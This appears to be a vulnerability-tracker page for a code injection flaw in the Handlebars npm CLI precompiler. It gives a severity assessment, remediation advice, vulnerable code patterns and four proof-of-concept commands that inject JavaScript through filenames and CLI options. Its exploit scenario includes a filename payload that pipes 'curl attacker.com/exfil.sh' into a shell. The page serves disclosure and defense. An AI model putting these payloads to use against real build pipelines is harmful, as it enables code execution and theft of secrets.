EUVD-2026-16862
GHSA-xjpj-3mr7-gcpf
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious template filename
-
ExploitSupply as CLI argument to handlebars precompiler
-
ExecutionInject JavaScript into generated bundle
-
ImpactExecute arbitrary code when bundle loads
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must control template filenames or CLI arguments passed to Handlebars CLI precompiler ( |
| Impact | Real-world risk is moderate despite the 8.3 CVSS score. The CVSS vector (AV:L/AC:L/PR:L/UI:R/S:C) indicates local attack vector requiring low privileges and user interaction, significantly constraining exploitation scenarios. Attack feasibility depends on adversaries controlling either template filenames in repositories consumed by build pipelines or CLI arguments passed to the precompiler in automated systems. The changed scope (S:C) reflects that injected code executes in a different security context than the precompiler itself. Public proof-of-concept code exists with four working vectors, lowering the skill barrier for exploitation. However, the requirement for local access and user interaction (typically a developer or CI/CD system running the precompiler) limits attack surface compared to remote network-exploitable vulnerabilities. Primary risk scenarios involve supply chain attacks through malicious template repositories, compromised CI/CD pipelines where attackers can modify build scripts, or developer workstations with malicious template files. Organizations using Handlebars precompilation in automated build processes without input validation face elevated risk. |
| Exploit ScenarioDerived | An attacker with access to a shared code repository introduces a malicious template file named with embedded JavaScript payload, such as 'template"] = (function(){require("child_process").exec("curl attacker.com/exfil.sh | sh")})(); //.handlebars'. When the organization's CI/CD pipeline runs the Handlebars precompiler during the build process, it processes the malicious filename and generates a JavaScript bundle containing the injected code. The injected payload executes when the build artifact is loaded, allowing the attacker to execute arbitrary commands in the build environment, potentially exfiltrating secrets, modifying build outputs, or pivoting to production systems. Publicly available exploit code exists demonstrating filesystem manipulation and arbitrary code execution via all four injection vectors. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 27, 2026
The Handlebars npm package precompiler (bin/handlebars) allows arbitrary JavaScript injection through unsanitized string concatenation in four distinct code paths: template filenames, namespace option (-n), CommonJS path option (-c), and AMD path option (-h). Attackers who can control template filenames or CLI arguments can inject code that executes when the generated JavaScript bundle is loaded in Node.js or browser environments. Publicly available exploit code exists with multiple proof-of-concept vectors demonstrated, including file system manipulation via require('fs'). CVSS 8.3 reflects local attack vector requiring low privileges and user interaction, with changed scope allowing high confidentiality, integrity, and availability impact.
RemediationAI
Upgrade the handlebars npm package to version 4.7.9 or later, as confirmed in the GitHub release at https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9. The fix commit 68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2 addresses the string interpolation vulnerabilities by implementing proper escaping. Until patching is possible, implement input validation to reject template filenames and CLI option values containing JavaScript-significant characters (quotes, semicolons, parentheses). Restrict namespace, CommonJS path, and AMD path options to fixed trusted values defined in configuration files rather than accepting arbitrary command-line arguments. Execute the precompiler in sandboxed containers with restricted filesystem access and no network connectivity to limit impact of successful exploitation. Audit template repositories and CI/CD pipeline configurations to ensure template filenames follow strict naming conventions. See the official GitHub security advisory at https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf for complete remediation guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Handlebars is a widely-deployed templating engine for JavaScript (cpe:2.3:a:*:handlebars:*:*:*:*:*:node.js:*:*). The vulnerability resides in lib/precompiler.js, which generates JavaScript source code by directly interpolating user-controlled values into output strings without escaping special characters. This represents CWE-79 (Improper Neutralization of Input During Web Page Generation), though in this context it manifests as code injection rather than traditional cross-site scripting. The precompiler's string concatenation approach for building JavaScript output creates four distinct injection surfaces: template.name derived from filesystem paths, opts.namespace for namespace configuration, opts.commonjs for CommonJS module paths, and opts.handlebarPath for AMD module paths. Each allows breaking out of string literals using characters like quotes, semicolons, and parentheses to inject arbitrary JavaScript statements that execute during bundle loading.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionNVD
Summary
The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings - template file names and several CLI options - directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.
Description
lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:
1. Template name injection
// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.
2. Namespace injection (-n / --namespace)
// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.
3. CommonJS path injection (-c / --commonjs)
// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.
4. AMD path injection (-h / --handlebarPath)
// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.
All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.
Proof of Concept
Template name vector (creates a file pwned on disk):
mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"
node bin/handlebars templates -o out.js
node -e 'require("./out.js")'
# Executes injected code, creates ./pwnedNamespace vector:
node bin/handlebars templates -o out.js \
-n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'CommonJS vector:
node bin/handlebars templates -o out.js \
-c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'AMD vector:
node bin/handlebars templates -o out.js -a \
-h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'Workarounds
- Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (
",',;, etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
- Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
- Audit template filenames in any repository or package that is consumed by an automated build pipeline.
Blast Radius
ecosystem impact- 3 npm packages depend on handlebars (1 direct, 2 indirect)
Ecosystem-wide dependent count for version 4.0.0.
Executive ViewAI
The Handlebars npm package precompiler contains a critical code injection vulnerability that allows attackers to execute arbitrary JavaScript when template bundles are generated and loaded. Organizations using Handlebars in build pipelines-particularly those accepting user-controlled template filenames or CLI arguments-face risk of supply-chain compromise, data exfiltration, and system manipulation through injected malicious code in their compiled artifacts.
Apply vendor patch. If patched version is unavailable: disable user-supplied template filenames and CLI arguments in build pipelines; validate all template filenames against a whitelist before precompilation; run precompilation in sandboxed, network-isolated build environments with read-only filesystem access; implement static analysis scanning of generated JavaScript bundles for suspicious require() or eval() patterns before deployment; review build logs for unexpected file system access or network connections during precompilation.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
Exploit-DB